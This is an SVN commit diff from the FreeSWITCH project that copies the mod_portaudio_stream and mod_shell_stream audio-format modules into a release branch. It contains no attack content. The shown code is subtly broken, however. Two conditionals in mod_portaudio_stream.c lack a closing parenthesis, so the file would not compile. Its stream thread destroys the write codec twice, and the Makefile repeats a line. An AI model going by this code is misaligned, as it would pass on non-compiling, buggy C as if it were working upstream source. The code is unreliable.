+	status = switch_file_read(context->fd, data, len);
+	if (status == SWITCH_STATUS_SUCCESS) {
+		handle->pos += *len;
+	}
+	return status;
 }
 
 static switch_status_t native_file_file_write(switch_file_handle_t *handle, void *data, size_t *len)
@@ -120,8 +131,6 @@
 
 static switch_status_t native_file_file_set_string(switch_file_handle_t *handle, switch_audio_col_t col, const char *string)
 {
-	//native_file_context *context = handle->private_info;
-
 	return SWITCH_STATUS_FALSE;
 }
 

Copied: freeswitch/branches/seven/src/mod/formats/mod_portaudio_stream (from rev 14471, freeswitch/trunk/src/mod/formats/mod_portaudio_stream)

Deleted: freeswitch/branches/seven/src/mod/formats/mod_portaudio_stream/Makefile

Copied: freeswitch/branches/seven/src/mod/formats/mod_portaudio_stream/Makefile (from rev 14471, freeswitch/trunk/src/mod/formats/mod_portaudio_stream/Makefile) (0 => 14472)


--- freeswitch/branches/seven/src/mod/formats/mod_portaudio_stream/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/formats/mod_portaudio_stream/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,23 @@
+BASE=../../../..
+BASE=../../../..
+
+PA_DIR=$(BASE)/libs/portaudio
+MODPA_DIR=$(BASE)/src/mod/endpoints/mod_portaudio
+
+
+PALA=$(PA_DIR)/lib/libportaudio.la
+LOCAL_CFLAGS=-I. -I$(PA_DIR)/include -I$(MODPA_DIR) -D__EXTENSION__=1
+
+LOCAL_INSERT_LDFLAGS=if test $$osarch = "Darwin" ; then echo "-framework CoreAudio -framework AudioToolbox -framework AudioUnit -framework Carbon" ; fi ;
+
+LOCAL_LIBADD=$(PALA)
+LOCAL_OBJS=$(MODPA_DIR)/pablio.o $(MODPA_DIR)/pa_ringbuffer.o
+LOCAL_SOURCES=$(MODPA_DIR)/pablio.c $(MODPA_DIR)/pa_ringbuffer.c
+
+include $(BASE)/build/modmake.rules
+
+$(PALA): $(PA_DIR) $(PA_DIR)/.update
+	cd $(PA_DIR) && $(MAKE)
+	$(TOUCH_TARGET)
+
+$(LOCAL_OBJS): $(LOCAL_SOURCES)
\ No newline at end of file

Deleted: freeswitch/branches/seven/src/mod/formats/mod_portaudio_stream/mod_portaudio_stream.c

Copied: freeswitch/branches/seven/src/mod/formats/mod_portaudio_stream/mod_portaudio_stream.c (from rev 14471, freeswitch/trunk/src/mod/formats/mod_portaudio_stream/mod_portaudio_stream.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/formats/mod_portaudio_stream/mod_portaudio_stream.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/formats/mod_portaudio_stream/mod_portaudio_stream.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,639 @@
+/*
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ *
+ * mod_portaudio_stream.c -- Portaudio Streaming interface Audio
+ *
+ */
+#include "switch.h"
+#include <stdio.h>
+#include <stdlib.h>
+#include <math.h>
+#include "pablio.h"
+#include <string.h>
+
+#define DEFAULT_PREBUFFER_SIZE 1024 * 64
+#define SAMPLE_TYPE  paInt16
+#define PREFERRED_RATE  8000
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_portaudio_stream_load);
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_portaudio_stream_shutdown);
+SWITCH_MODULE_DEFINITION(mod_portaudio_stream, mod_portaudio_stream_load, mod_portaudio_stream_shutdown, NULL);
+static switch_memory_pool_t *module_pool = NULL;
+
+struct portaudio_stream_source;
+
+static struct {
+	int running;
+	int threads;
+	switch_mutex_t *mutex;
+	switch_hash_t *source_hash;
+
+} globals;
+
+
+struct portaudio_stream_context {
+	struct portaudio_stream_source *source;
+	switch_mutex_t *audio_mutex;
+	switch_buffer_t *audio_buffer;
+	int err;
+	const char *func;
+	const char *file;
+	int line;
+	switch_file_handle_t *handle;
+	struct portaudio_stream_context *next;
+};
+
+typedef struct portaudio_stream_context portaudio_stream_context_t;
+
+struct portaudio_stream_source {
+	char *sourcename;
+	int sourcedev;
+	int rate;
+	int interval;
+	char *timer_name;
+	int total;
+	int ready;
+	int stopped;
+	uint8_t channels;
+	switch_size_t samples;
+	uint32_t prebuf;
+	portaudio_stream_context_t *context_list;
+	switch_mutex_t *mutex;
+	switch_memory_pool_t *pool;
+	switch_thread_rwlock_t *rwlock;
+	PABLIO_Stream *audio_stream;
+	switch_frame_t read_frame;
+	switch_timer_t timer;
+	switch_codec_t read_codec;
+	switch_codec_t write_codec;
+	switch_mutex_t *device_lock;
+	unsigned char databuf[SWITCH_RECOMMENDED_BUFFER_SIZE];
+};
+
+typedef struct portaudio_stream_source portaudio_stream_source_t;
+
+
+
+static int get_dev_by_number(char *numstr, int in)
+{
+	int numDevices = Pa_GetDeviceCount();
+	const PaDeviceInfo *pdi;
+	char *end_ptr;
+	int number;
+
+	number = (int) strtol(numstr, &end_ptr, 10);
+
+	if (end_ptr == numstr || number < 0) {
+		return -1;
+	}
+
+	if (number > -1 && number < numDevices && (pdi = Pa_GetDeviceInfo(number))) {
+		if (in && pdi->maxInputChannels) {
+			return number;
+		} else if (!in && pdi->maxOutputChannels) {
+			return number;
+		}
+	}
+
+	return -1;
+}
+
+static int get_dev_by_name(char *name, int in)
+{
+	int i;
+	int numDevices;
+	const PaDeviceInfo *pdi;
+	numDevices = Pa_GetDeviceCount();
+
+	if (numDevices < 0) {
+		switch_log_printf(SWITCH_CHANNEL_LOG_CLEAN, SWITCH_LOG_ERROR, "ERROR: Pa_CountDevices returned 0x%x\n", numDevices);
+		return -2;
+	}
+
+	for (i = 0; i < numDevices; i++) {
+		int match = 0;
+		pdi = Pa_GetDeviceInfo(i);
+
+		if (switch_strlen_zero(name)) {
+			match = 1;
+		} else if (pdi && pdi->name && strstr(pdi->name, name)) {
+			match = 1;
+		}
+
+		if (match) {
+			if (in && pdi->maxInputChannels) {
+				return i;
+			} else if (!in && pdi->maxOutputChannels) {
+				return i;
+			}
+		}
+	}
+
+	return -1;
+}
+
+static switch_status_t engage_device(portaudio_stream_source_t *source,int restart)
+{
+	PaStreamParameters inputParameters,outputParameters;
+	PaError err;
+	int sample_rate = source->rate;
+	int codec_ms = source->interval;
+
+	switch_mutex_init(&source->device_lock, SWITCH_MUTEX_NESTED, module_pool);
+
+	if (source->timer.timer_interface) {
+		switch_core_timer_sync(&source->timer);
+	}
+
+	if (source->audio_stream) {
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	if (!switch_core_codec_ready(&source->read_codec)) {
+		if (switch_core_codec_init(&source->read_codec,
+								   "L16",
+								   NULL, sample_rate, codec_ms, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
+								   NULL) != SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't load codec?\n");
+			return SWITCH_STATUS_FALSE;
+		}
+	}
+
+	switch_assert(source->read_codec.implementation);
+
+	if (!switch_core_codec_ready(&source->write_codec) {
+		if (switch_core_codec_init(&source->write_codec,
+								   "L16",
+								   NULL,
+								   sample_rate, codec_ms, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
+								   NULL) != SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't load codec?\n");
+			switch_core_codec_destroy(&source->read_codec);
+			return SWITCH_STATUS_FALSE;
+		}
+	}
+
+
+	if (!source->timer.timer_interface) {
+		if (switch_core_timer_init(&source->timer,
+									source->timer_name, codec_ms, source->read_codec.implementation->samples_per_packet,
+								   module_pool) != SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "setup timer failed!\n");
+			switch_core_codec_destroy(&source->read_codec);
+			switch_core_codec_destroy(&source->write_codec);
+			return SWITCH_STATUS_FALSE;
+		}
+	}
+
+	source->read_frame.rate = sample_rate;
+	source->read_frame.codec = &source->read_codec;
+
+	switch_mutex_lock(source->device_lock);
+	/* LOCKED ************************************************************************************************** */
+	inputParameters.device = source->sourcedev;
+	inputParameters.channelCount = 1;
+	inputParameters.sampleFormat = SAMPLE_TYPE;
+	inputParameters.suggestedLatency = Pa_GetDeviceInfo(inputParameters.device)->defaultLowInputLatency;
+	inputParameters.hostApiSpecificStreamInfo = NULL;
+	outputParameters.device = source->sourcedev;
+	outputParameters.channelCount = 1;
+	outputParameters.sampleFormat = SAMPLE_TYPE;
+	outputParameters.suggestedLatency = Pa_GetDeviceInfo(outputParameters.device)->defaultLowOutputLatency;
+	outputParameters.hostApiSpecificStreamInfo = NULL;
+
+
+	err = OpenAudioStream(&source->audio_stream, &inputParameters, NULL, sample_rate, paClipOff,
+			source->read_codec.implementation->samples_per_packet, 0);
+	/* UNLOCKED ************************************************************************************************* */
+	if (err != paNoError) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error opening audio device retrying\n");
+		switch_yield(1000000);
+		err = OpenAudioStream(&source->audio_stream, &inputParameters, &outputParameters, sample_rate, paClipOff,
+					source->read_codec.implementation->samples_per_packet, 0);
+	}
+
+	switch_mutex_unlock(source->device_lock);
+	if (err != paNoError) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't open audio device\n");
+		switch_core_codec_destroy(&source->read_codec);
+		switch_core_timer_destroy(&source->timer);
+		return SWITCH_STATUS_FALSE;
+	}
+
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void *obj)
+{
+	portaudio_stream_source_t *source = obj;
+	portaudio_stream_context_t *cp;
+	int samples = 0;
+	int  bused, bytesToWrite;
+
+
+	switch_mutex_lock(globals.mutex);
+	globals.threads++;
+	switch_mutex_unlock(globals.mutex);
+
+	if (!source->prebuf) {
+		source->prebuf = DEFAULT_PREBUFFER_SIZE;
+	}
+
+
+
+	switch_mutex_lock(globals.mutex);
+	switch_core_hash_insert(globals.source_hash, source->sourcename, source);
+	switch_mutex_unlock(globals.mutex);
+
+
+	switch_thread_rwlock_create(&source->rwlock, source->pool);
+
+	if (engage_device(source,0)!=SWITCH_STATUS_SUCCESS){
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, " Dev %d cant be engaged !\n",(int) source->sourcedev);
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " Dev %d engaged at %d rate!\n",(int) source->sourcedev, (int) source->rate);
+		if (globals.running && !source->stopped) {
+			source->ready = 1;
+
+			if (!source->audio_stream){
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No Audio Stream wops!\n");
+				source->stopped = 0;
+				source->ready = 0;
+			} else {
+				while (globals.running && !source->stopped) {
+					samples = 0;
+					switch_mutex_lock(source->device_lock);
+					samples = ReadAudioStream(source->audio_stream, source->databuf,
+									source->read_codec.implementation->samples_per_packet  , &source->timer);
+					switch_mutex_unlock(source->device_lock);
+
+
+					if (samples) {
+						bytesToWrite = source->samples;
+						if (samples < bytesToWrite) {
+							bytesToWrite = samples;
+						}
+						bytesToWrite *= source->audio_stream->bytesPerFrame;
+
+						if (source->total) {
+
+							switch_mutex_lock(source->mutex);
+							for (cp = source->context_list; cp; cp = cp->next) {
+
+								switch_mutex_lock(cp->audio_mutex);
+
+								bused = switch_buffer_inuse(cp->audio_buffer);
+								if (bused > source->samples * 768 ) {
+									switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Leaking stream handle! [%s() %s:%d] %d used %d max\n", cp->func, cp->file,
+													  cp->line,(int) bused, (int) ( source->samples * 768));
+									switch_buffer_zero(cp->audio_buffer);
+								} else {
+									switch_buffer_write(cp->audio_buffer, source->databuf, bytesToWrite);
+								}
+
+								switch_mutex_unlock(cp->audio_mutex);
+							}
+							switch_mutex_unlock(source->mutex);
+						}
+
+					}
+
+				}
+			}
+
+		}
+	}
+
+
+	source->ready = 0;
+
+	switch_mutex_lock(globals.mutex);
+	switch_core_hash_delete(globals.source_hash, source->sourcename);
+	switch_mutex_unlock(globals.mutex);
+
+	switch_thread_rwlock_wrlock(source->rwlock);
+	switch_thread_rwlock_unlock(source->rwlock);
+
+
+	switch_mutex_lock(source->device_lock);
+	CloseAudioStream(source->audio_stream);
+	if (switch_core_codec_ready(&source->read_codec)) {
+		switch_core_codec_destroy(&source->read_codec);
+		switch_core_codec_destroy(&source->write_codec);
+	}
+	if (switch_core_codec_ready(&source->write_codec) {
+		switch_core_codec_destroy(&source->write_codec);
+	}
+	switch_mutex_unlock(source->device_lock);
+
+
+	switch_core_destroy_memory_pool(&source->pool);
+
+	switch_mutex_lock(globals.mutex);
+	globals.threads--;
+	switch_mutex_unlock(globals.mutex);
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " thread ending succesfully !\n");
+	switch_thread_exit(thread,SWITCH_STATUS_SUCCESS);
+
+	return NULL;
+}
+
+
+static switch_status_t portaudio_stream_file_open(switch_file_handle_t *handle, const char *path)
+{
+	portaudio_stream_context_t *context ;
+	portaudio_stream_source_t *source;
+	switch_memory_pool_t *pool;
+	switch_status_t status = SWITCH_STATUS_FALSE;
+	switch_thread_t *thread;
+	switch_threadattr_t *thd_attr = NULL;
+	uint32_t rate = PREFERRED_RATE;
+	char *npath ;
+	int devNumber;
+
+
+
+
+
+	handle->pre_buffer_datalen = 0;
+
+	if (switch_test_flag(handle, SWITCH_FILE_FLAG_WRITE)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This format does not support writing! (yet)\n");
+		return status;
+	}
+
+	npath =  switch_core_strdup(module_pool, path);
+
+	int tmp = handle->samplerate;
+	if (tmp == 8000 || tmp == 16000 || tmp == 32000 || tmp == 48000) {
+		rate = tmp;
+	}
+
+	if (*path == '#') {
+		devNumber = get_dev_by_number(npath  + 1, 1);
+	} else {
+		devNumber = get_dev_by_name(npath , 1);
+	}
+    npath = switch_mprintf("device-%d at %d",devNumber,rate);
+
+
+
+	switch_mutex_lock(globals.mutex);
+	source = switch_core_hash_find(globals.source_hash, npath);
+
+	/* dev isnt there, try to start thread */
+	if (!source) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, " source isnt Created, create and start thread!\n");
+
+		if (switch_core_new_memory_pool(&pool) != SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, " :S no pool\n");
+		} else {
+			source = switch_core_alloc(pool, sizeof(*source));
+			if (source!=NULL){
+				source->pool = pool;
+				source->sourcedev = devNumber;
+				source->sourcename = switch_core_strdup(source->pool, npath);
+				source->rate = rate;
+				source->interval = 20;
+				source->channels = 1;
+				source->timer_name = "soft";
+				source->prebuf = DEFAULT_PREBUFFER_SIZE;
+				source->stopped = 0;
+				source->ready = 0;
+				source->samples = switch_samples_per_packet(source->rate, source->interval);
+
+
+
+				switch_mutex_init(&source->mutex, SWITCH_MUTEX_NESTED, source->pool);
+
+
+
+				switch_threadattr_create(&thd_attr, source->pool);
+				switch_threadattr_detach_set(thd_attr, 1);
+
+				switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
+				switch_thread_create(&thread, thd_attr, read_stream_thread, source, source->pool);
+
+			}
+
+		}
+
+	}
+	switch_mutex_unlock(globals.mutex);
+	switch_yield(1000000);
+	/* dev already engaged */
+	if (source) {
+
+		/*wait for source to be ready*/
+
+		while(source->ready==0){switch_yield(100000);}
+
+
+		if (switch_thread_rwlock_tryrdlock(source->rwlock) != SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, " error rwlock !\n");
+			source = NULL;
+		}
+
+	}
+
+
+
+	if (source) {
+		status = SWITCH_STATUS_SUCCESS;
+
+		if ((context = switch_core_alloc(handle->memory_pool, sizeof(*context))) == 0) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, " error allocating context!\n");
+			status = SWITCH_STATUS_MEMERR;
+		} else {
+			/* everything goes fine at this point */
+			handle->samples = 0;
+			handle->samplerate = source->rate;
+			handle->channels = 1;
+			handle->format = 0;
+			handle->sections = 0;
+			handle->seekable = 0;
+			handle->speed = 0;
+			handle->private_info = context;
+			handle->interval = source->interval;
+
+
+			switch_mutex_init(&context->audio_mutex, SWITCH_MUTEX_NESTED, handle->memory_pool);
+			if (switch_buffer_create_dynamic(&context->audio_buffer, 512, 1024, 0) != SWITCH_STATUS_SUCCESS) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Memory Error!\n");
+				status = SWITCH_STATUS_MEMERR;
+			} else {
+				/* context created... then continue */
+				context->source = source;
+				context->file = handle->file;
+				context->func = handle->func;
+				context->line = handle->line;
+				context->handle = handle;
+				switch_mutex_lock(source->mutex);
+				context->next = source->context_list;
+				source->context_list = context;
+				source->total++;
+				switch_mutex_unlock(source->mutex);
+
+			}
+		}
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unknown source %s\n", path);
+		status = SWITCH_STATUS_FALSE;
+	}
+
+
+
+	return status;
+}
+
+
+static switch_status_t portaudio_stream_file_close(switch_file_handle_t *handle)
+{
+	portaudio_stream_context_t *cp, *last = NULL, *context = handle->private_info;
+
+
+	switch_mutex_lock(context->source->mutex);
+	for (cp = context->source->context_list; cp; cp = cp->next) {
+		if (cp == context) {
+			if (last) {
+				last->next = cp->next;
+			} else {
+				context->source->context_list = cp->next;
+			}
+			break;
+		}
+		last = cp;
+	}
+	context->source->total--;
+	switch_mutex_unlock(context->source->mutex);
+	switch_buffer_destroy(&context->audio_buffer);
+	switch_thread_rwlock_unlock(context->source->rwlock);
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+
+static switch_status_t portaudio_stream_file_read(switch_file_handle_t *handle, void *data, size_t *len)
+{
+	portaudio_stream_context_t *context = handle->private_info;
+	switch_size_t bytes = 0;
+	int bytesPerSample = context->source->audio_stream->bytesPerFrame;
+	size_t need = *len * bytesPerSample;
+
+
+
+	if (!context->source->ready) {
+		*len = 0;
+		return SWITCH_STATUS_FALSE;
+	}
+
+	switch_mutex_lock(context->audio_mutex);
+	if ((bytes = switch_buffer_read(context->audio_buffer, data, need))) {
+		*len = bytes / bytesPerSample;
+	} else {
+		if (need > 2560) {
+			need = 2560;
+		}
+		memset(data, 255, need);
+		*len = need / bytesPerSample;
+	}
+	switch_mutex_unlock(context->audio_mutex);
+
+
+
+	handle->sample_count += *len;
+	return SWITCH_STATUS_SUCCESS;
+
+
+}
+
+/* Registration */
+
+static char *supported_formats[SWITCH_MAX_CODECS] = { 0 };
+
+static void shutdown_event_handler(switch_event_t *event)
+{
+	globals.running = 0;
+}
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_portaudio_stream_load)
+{
+	switch_file_interface_t *file_interface;
+	supported_formats[0] = "portaudio_stream";
+
+	module_pool = pool;
+
+	Pa_Initialize();
+
+	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
+	file_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_FILE_INTERFACE);
+	file_interface->interface_name = modname;
+	file_interface->extens = supported_formats;
+	file_interface->file_open = portaudio_stream_file_open;
+	file_interface->file_close = portaudio_stream_file_close;
+	file_interface->file_read = portaudio_stream_file_read;
+
+	if (switch_event_bind(modname, SWITCH_EVENT_SHUTDOWN, SWITCH_EVENT_SUBCLASS_ANY, shutdown_event_handler, NULL) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind shutdown event handler!\n");
+	}
+
+	memset(&globals, 0, sizeof(globals));
+	globals.running = 1;
+	globals.threads = 0;
+	switch_mutex_init(&globals.mutex, SWITCH_MUTEX_NESTED, module_pool);
+	switch_core_hash_init(&globals.source_hash, module_pool);
+
+
+	/* indicate that the module should continue to be loaded */
+	return SWITCH_STATUS_SUCCESS;
+}
+
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_portaudio_stream_shutdown)
+{
+	globals.running = 0;
+	switch_event_unbind_callback(shutdown_event_handler);
+
+	while(globals.threads > 0) {
+		switch_yield(100000);
+	}
+
+	Pa_Terminate();
+
+	switch_core_hash_destroy(&globals.source_hash);
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4:
+ */

Copied: freeswitch/branches/seven/src/mod/formats/mod_shell_stream (from rev 14471, freeswitch/trunk/src/mod/formats/mod_shell_stream)

Property changes: freeswitch/branches/seven/src/mod/formats/mod_shell_stream


Name: svn:ignore
   + Makefile

Deleted: freeswitch/branches/seven/src/mod/formats/mod_shell_stream/mod_shell_stream.c

Copied: freeswitch/branches/seven/src/mod/formats/mod_shell_stream/mod_shell_stream.c (from rev 14471, freeswitch/trunk/src/mod/formats/mod_shell_stream/mod_shell_stream.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/formats/mod_shell_stream/mod_shell_stream.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/formats/mod_shell_stream/mod_shell_stream.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,228 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Anthony Minessale II <anthm@freeswitch.org>
+ *
+ * mod_shell_stream.c -- Local Streaming Audio
+ *
+ */
+#include <switch.h>
+
+#define MY_BUF_LEN 1024 * 32
+#define MY_BLOCK_SIZE MY_BUF_LEN
+
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_shell_stream_load);
+
+SWITCH_MODULE_DEFINITION(mod_shell_stream, mod_shell_stream_load, NULL, NULL);
+
+struct shell_stream_context {
+	int fds[2];
+	int pid;
+	char *command;
+	switch_buffer_t *audio_buffer;
+	switch_mutex_t *mutex;	
+	switch_thread_rwlock_t *rwlock;
+	int running;
+};
+
+typedef struct shell_stream_context shell_stream_context_t;
+
+
+static void *SWITCH_THREAD_FUNC buffer_thread_run(switch_thread_t *thread, void *obj)
+{
+	shell_stream_context_t *context = (shell_stream_context_t *) obj;
+	switch_byte_t data[MY_BUF_LEN];
+	ssize_t rlen;
+
+	context->running = 1;
+
+	if (switch_thread_rwlock_tryrdlock(context->rwlock) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Read Lock Fail\n");
+		goto end;
+	}
+	
+	while(context->running) {
+		
+		rlen = read(context->fds[0], data, MY_BUF_LEN);
+
+		if (rlen <= 3) {
+			break;
+		}
+		
+		switch_mutex_lock(context->mutex);
+		switch_buffer_write(context->audio_buffer, data, rlen);
+		switch_mutex_unlock(context->mutex);
+	}
+
+	switch_thread_rwlock_unlock(context->rwlock);
+
+ end:
+
+	context->running = 0;
+
+	return NULL;
+}
+
+static switch_status_t shell_stream_file_open(switch_file_handle_t *handle, const char *path)
+{
+	shell_stream_context_t *context;
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	switch_thread_t *thread;
+	switch_threadattr_t *thd_attr = NULL;
+	
+	if (switch_test_flag(handle, SWITCH_FILE_FLAG_WRITE)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This format does not support writing!\n");
+		return SWITCH_STATUS_FALSE;
+	}
+	
+	context = switch_core_alloc(handle->memory_pool, sizeof(*context));
+	
+	context->fds[0] = -1;
+	context->fds[1] = -1;
+	context->command = switch_core_sprintf(handle->memory_pool, "%s -r %d -c %d", path, handle->samplerate, handle->channels);
+
+	if (pipe(context->fds)) {
+		goto error;
+	} else { /* good to go*/
+		context->pid = fork();
+		
+		if (context->pid < 0) { /* ok maybe not */
+			goto error;
+		} else if (context->pid) { /* parent */
+			handle->private_info = context;
+			status = SWITCH_STATUS_SUCCESS;
+			close(context->fds[1]);
+			context->fds[1] = -1;
+
+			if (switch_buffer_create_dynamic(&context->audio_buffer, MY_BLOCK_SIZE, MY_BUF_LEN, 0) != SWITCH_STATUS_SUCCESS) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Write Buffer Failed!\n");
+				goto error;
+			}
+
+			switch_thread_rwlock_create(&context->rwlock, handle->memory_pool);
+			switch_mutex_init(&context->mutex, SWITCH_MUTEX_NESTED, handle->memory_pool);
+			
+			switch_threadattr_create(&thd_attr, handle->memory_pool);
+			switch_threadattr_detach_set(thd_attr, 1);
+			switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
+			switch_thread_create(&thread, thd_attr, buffer_thread_run, context, handle->memory_pool);
+			context->running = 2;
+
+			while(context->running == 2) {
+				switch_cond_next();
+			}
+
+			goto end;
+		} else { /*  child */
+			close(context->fds[0]);
+			dup2(context->fds[1], STDOUT_FILENO);
+			switch_system(context->command, SWITCH_TRUE);
+			printf("EOF");
+			close(context->fds[1]);
+			exit(0);
+		}
+	}
+
+ error:
+
+	close(context->fds[0]);
+	close(context->fds[1]);
+	status = SWITCH_STATUS_FALSE;
+		
+
+ end:
+		
+	return status;
+}
+
+static switch_status_t shell_stream_file_close(switch_file_handle_t *handle)
+{
+	shell_stream_context_t *context = handle->private_info;
+	
+	context->running = 0;
+
+	if (context->fds[0] > -1) {
+		close(context->fds[0]);
+	}
+
+	if (context->audio_buffer) {
+		switch_buffer_destroy(&context->audio_buffer);
+	}
+
+	switch_thread_rwlock_wrlock(context->rwlock);
+	switch_thread_rwlock_unlock(context->rwlock);
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t shell_stream_file_read(switch_file_handle_t *handle, void *data, size_t *len)
+{
+	shell_stream_context_t *context = handle->private_info;
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	switch_size_t rlen = *len * 2;
+
+	while(context->running && switch_buffer_inuse(context->audio_buffer) < rlen) {
+		switch_cond_next();
+	}
+	
+	switch_mutex_lock(context->mutex);
+	*len = switch_buffer_read(context->audio_buffer, data, rlen) / 2;
+	switch_mutex_unlock(context->mutex);
+
+	return status;
+}
+
+/* Registration */
+
+static char *supported_formats[SWITCH_MAX_CODECS] = { 0 };
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_shell_stream_load)
+{
+	switch_file_interface_t *file_interface;
+	supported_formats[0] = "shell_stream";
+
+	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
+	file_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_FILE_INTERFACE);
+	file_interface->interface_name = modname;
+	file_interface->extens = supported_formats;
+	file_interface->file_open = shell_stream_file_open;
+	file_interface->file_close = shell_stream_file_close;
+	file_interface->file_read = shell_stream_file_read;
+
+	/* indicate that the module should continue to be loaded */
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4:
+ */

Property changes: freeswitch/branches/seven/src/mod/formats/mod_shout


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Win32
x64

Modified: freeswitch/branches/seven/src/mod/formats/mod_shout/Makefile (14471 => 14472)


--- freeswitch/branches/seven/src/mod/formats/mod_shout/Makefile	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/formats/mod_shout/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -30,7 +30,7 @@
 	$(GETLIB) $(MPG123).tar.gz
 
 $(MPG123_DIR)/Makefile: $(MPG123_DIR)
